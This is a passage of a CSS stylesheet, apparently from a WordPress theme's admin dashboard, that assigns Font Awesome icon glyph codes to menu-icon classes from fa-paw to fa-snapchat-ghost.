body.fa-paw #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f1b0";
}

body.fa-spoon #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f1b1";
}

body.fa-cube #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f1b2";
}

body.fa-cubes #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f1b3";
}

body.fa-behance #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f1b4";
}

body.fa-behance-square
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f1b5";
}

body.fa-steam #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f1b6";
}

body.fa-steam-square
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f1b7";
}

body.fa-recycle #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f1b8";
}

body.fa-automobile
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before,
body.fa-car #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f1b9";
}

body.fa-cab #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before,
body.fa-taxi #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f1ba";
}

body.fa-tree #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f1bb";
}

body.fa-spotify #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f1bc";
}

body.fa-deviantart
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f1bd";
}

body.fa-soundcloud
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f1be";
}

body.fa-database
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f1c0";
}

body.fa-file-pdf-o
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f1c1";
}

body.fa-file-word-o
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f1c2";
}

body.fa-file-excel-o
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f1c3";
}

body.fa-file-powerpoint-o
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f1c4";
}

body.fa-file-photo-o
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before,
body.fa-file-picture-o
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before,
body.fa-file-image-o
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f1c5";
}

body.fa-file-zip-o
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before,
body.fa-file-archive-o
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f1c6";
}

body.fa-file-sound-o
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before,
body.fa-file-audio-o
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f1c7";
}

body.fa-file-movie-o
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before,
body.fa-file-video-o
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f1c8";
}

body.fa-file-code-o
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f1c9";
}

body.fa-vine #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f1ca";
}

body.fa-codepen #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f1cb";
}

body.fa-jsfiddle
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f1cc";
}

body.fa-life-bouy
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before,
body.fa-life-buoy
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before,
body.fa-life-saver
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before,
body.fa-support #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before,
body.fa-life-ring
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f1cd";
}

body.fa-circle-o-notch
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f1ce";
}

body.fa-ra #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before,
body.fa-resistance
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before,
body.fa-rebel #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f1d0";
}

body.fa-ge #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before,
body.fa-empire #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f1d1";
}

body.fa-git-square
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f1d2";
}

body.fa-git #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f1d3";
}

body.fa-y-combinator-square
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before,
body.fa-yc-square
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before,
body.fa-hacker-news
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f1d4";
}

body.fa-tencent-weibo
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f1d5";
}

body.fa-qq #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f1d6";
}

body.fa-wechat #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before,
body.fa-weixin #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f1d7";
}

body.fa-send #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before,
body.fa-paper-plane
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f1d8";
}

body.fa-send-o #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before,
body.fa-paper-plane-o
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f1d9";
}

body.fa-history #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f1da";
}

body.fa-circle-thin
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f1db";
}

body.fa-header #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f1dc";
}

body.fa-paragraph
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f1dd";
}

body.fa-sliders #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f1de";
}

body.fa-share-alt
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f1e0";
}

body.fa-share-alt-square
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f1e1";
}

body.fa-bomb #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f1e2";
}

body.fa-soccer-ball-o
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before,
body.fa-futbol-o
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f1e3";
}

body.fa-tty #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f1e4";
}

body.fa-binoculars
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f1e5";
}

body.fa-plug #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f1e6";
}

body.fa-slideshare
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f1e7";
}

body.fa-twitch #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f1e8";
}

body.fa-yelp #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f1e9";
}

body.fa-newspaper-o
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f1ea";
}

body.fa-wifi #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f1eb";
}

body.fa-calculator
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f1ec";
}

body.fa-paypal #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f1ed";
}

body.fa-google-wallet
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f1ee";
}

body.fa-cc-visa #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f1f0";
}

body.fa-cc-mastercard
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f1f1";
}

body.fa-cc-discover
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f1f2";
}

body.fa-cc-amex #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f1f3";
}

body.fa-cc-paypal
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f1f4";
}

body.fa-cc-stripe
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f1f5";
}

body.fa-bell-slash
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f1f6";
}

body.fa-bell-slash-o
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f1f7";
}

body.fa-trash #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f1f8";
}

body.fa-copyright
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f1f9";
}

body.fa-at #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f1fa";
}

body.fa-eyedropper
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f1fb";
}

body.fa-paint-brush
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f1fc";
}

body.fa-birthday-cake
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f1fd";
}

body.fa-area-chart
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f1fe";
}

body.fa-pie-chart
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f200";
}

body.fa-line-chart
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f201";
}

body.fa-lastfm #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f202";
}

body.fa-lastfm-square
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f203";
}

body.fa-toggle-off
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f204";
}

body.fa-toggle-on
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f205";
}

body.fa-bicycle #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f206";
}

body.fa-bus #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f207";
}

body.fa-ioxhost #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f208";
}

body.fa-angellist
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f209";
}

body.fa-cc #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f20a";
}

body.fa-shekel #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before,
body.fa-sheqel #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before,
body.fa-ils #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f20b";
}

body.fa-meanpath
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f20c";
}

body.fa-buysellads
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f20d";
}

body.fa-connectdevelop
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f20e";
}

body.fa-dashcube
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f210";
}

body.fa-forumbee
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f211";
}

body.fa-leanpub #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f212";
}

body.fa-sellsy #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f213";
}

body.fa-shirtsinbulk
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f214";
}

body.fa-simplybuilt
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f215";
}

body.fa-skyatlas
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f216";
}

body.fa-cart-plus
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f217";
}

body.fa-cart-arrow-down
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f218";
}

body.fa-diamond #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f219";
}

body.fa-ship #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f21a";
}

body.fa-user-secret
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f21b";
}

body.fa-motorcycle
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f21c";
}

body.fa-street-view
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f21d";
}

body.fa-heartbeat
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f21e";
}

body.fa-venus #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f221";
}

body.fa-mars #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f222";
}

body.fa-mercury #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f223";
}

body.fa-intersex #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before,
body.fa-transgender
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f224";
}

body.fa-transgender-alt
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f225";
}

body.fa-venus-double
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f226";
}

body.fa-mars-double
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f227";
}

body.fa-venus-mars
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f228";
}

body.fa-mars-stroke
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f229";
}

body.fa-mars-stroke-v
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f22a";
}

body.fa-mars-stroke-h
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f22b";
}

body.fa-neuter #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f22c";
}

body.fa-genderless
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f22d";
}

body.fa-facebook-official
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f230";
}

body.fa-pinterest-p
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f231";
}

body.fa-whatsapp
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f232";
}

body.fa-server #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f233";
}

body.fa-user-plus
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f234";
}

body.fa-user-times
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f235";
}

body.fa-hotel #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before,
body.fa-bed #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f236";
}

body.fa-viacoin #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f237";
}

body.fa-train #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f238";
}

body.fa-subway #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f239";
}

body.fa-medium #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f23a";
}

body.fa-yc #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before,
body.fa-y-combinator
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f23b";
}

body.fa-optin-monster
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f23c";
}

body.fa-opencart
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f23d";
}

body.fa-expeditedssl
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f23e";
}

body.fa-battery-4
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before,
body.fa-battery #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before,
body.fa-battery-full
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f240";
}

body.fa-battery-3
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before,
body.fa-battery-three-quarters
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f241";
}

body.fa-battery-2
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before,
body.fa-battery-half
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f242";
}

body.fa-battery-1
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before,
body.fa-battery-quarter
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f243";
}

body.fa-battery-0
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before,
body.fa-battery-empty
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f244";
}

body.fa-mouse-pointer
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f245";
}

body.fa-i-cursor
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f246";
}

body.fa-object-group
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f247";
}

body.fa-object-ungroup
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f248";
}

body.fa-sticky-note
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f249";
}

body.fa-sticky-note-o
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f24a";
}

body.fa-cc-jcb #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f24b";
}

body.fa-cc-diners-club
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f24c";
}

body.fa-clone #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f24d";
}

body.fa-balance-scale
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f24e";
}

body.fa-hourglass-o
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f250";
}

body.fa-hourglass-1
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before,
body.fa-hourglass-start
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f251";
}

body.fa-hourglass-2
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before,
body.fa-hourglass-half
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f252";
}

body.fa-hourglass-3
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before,
body.fa-hourglass-end
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f253";
}

body.fa-hourglass
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f254";
}

body.fa-hand-grab-o
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before,
body.fa-hand-rock-o
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f255";
}

body.fa-hand-stop-o
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before,
body.fa-hand-paper-o
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f256";
}

body.fa-hand-scissors-o
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f257";
}

body.fa-hand-lizard-o
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f258";
}

body.fa-hand-spock-o
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f259";
}

body.fa-hand-pointer-o
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f25a";
}

body.fa-hand-peace-o
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f25b";
}

body.fa-trademark
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f25c";
}

body.fa-registered
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f25d";
}

body.fa-creative-commons
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f25e";
}

body.fa-gg #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f260";
}

body.fa-gg-circle
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f261";
}

body.fa-tripadvisor
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f262";
}

body.fa-odnoklassniki
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f263";
}

body.fa-odnoklassniki-square
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f264";
}

body.fa-get-pocket
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f265";
}

body.fa-wikipedia-w
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f266";
}

body.fa-safari #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f267";
}

body.fa-chrome #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f268";
}

body.fa-firefox #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f269";
}

body.fa-opera #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f26a";
}

body.fa-internet-explorer
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f26b";
}

body.fa-tv #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before,
body.fa-television
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f26c";
}

body.fa-contao #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f26d";
}

body.fa-500px #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f26e";
}

body.fa-amazon #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f270";
}

body.fa-calendar-plus-o
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f271";
}

body.fa-calendar-minus-o
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f272";
}

body.fa-calendar-times-o
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f273";
}

body.fa-calendar-check-o
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f274";
}

body.fa-industry
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f275";
}

body.fa-map-pin #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f276";
}

body.fa-map-signs
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f277";
}

body.fa-map-o #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f278";
}

body.fa-map #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f279";
}

body.fa-commenting
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f27a";
}

body.fa-commenting-o
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f27b";
}

body.fa-houzz #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f27c";
}

body.fa-vimeo #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f27d";
}

body.fa-black-tie
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f27e";
}

body.fa-fonticons
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f280";
}

body.fa-reddit-alien
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f281";
}

body.fa-edge #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f282";
}

body.fa-credit-card-alt
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f283";
}

body.fa-codiepie
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f284";
}

body.fa-modx #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f285";
}

body.fa-fort-awesome
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f286";
}

body.fa-usb #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f287";
}

body.fa-product-hunt
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f288";
}

body.fa-mixcloud
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f289";
}

body.fa-scribd #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f28a";
}

body.fa-pause-circle
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f28b";
}

body.fa-pause-circle-o
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f28c";
}

body.fa-stop-circle
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f28d";
}

body.fa-stop-circle-o
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f28e";
}

body.fa-shopping-bag
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f290";
}

body.fa-shopping-basket
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f291";
}

body.fa-hashtag #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f292";
}

body.fa-bluetooth
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f293";
}

body.fa-bluetooth-b
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f294";
}

body.fa-percent #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f295";
}

body.fa-gitlab #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f296";
}

body.fa-wpbeginner
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f297";
}

body.fa-wpforms #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f298";
}

body.fa-envira #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f299";
}

body.fa-universal-access
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f29a";
}

body.fa-wheelchair-alt
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f29b";
}

body.fa-question-circle-o
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f29c";
}

body.fa-blind #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f29d";
}

body.fa-audio-description
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f29e";
}

body.fa-volume-control-phone
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f2a0";
}

body.fa-braille #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f2a1";
}

body.fa-assistive-listening-systems
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f2a2";
}

body.fa-asl-interpreting
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before,
body.fa-american-sign-language-interpreting
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f2a3";
}

body.fa-deafness #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before,
body.fa-hard-of-hearing
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before,
body.fa-deaf #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f2a4";
}

body.fa-glide #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f2a5";
}

body.fa-glide-g #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f2a6";
}

body.fa-signing #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before,
body.fa-sign-language
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f2a7";
}

body.fa-low-vision
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f2a8";
}

body.fa-viadeo #toplevel_page_soledad_dashboard_welcome .wp-menu-image:before {
	content: "\f2a9";
}

body.fa-viadeo-square
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f2aa";
}

body.fa-snapchat
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
	content: "\f2ab";
}

body.fa-snapchat-ghost
	#toplevel_page_soledad_dashboard_welcome
	.wp-menu-image:before {
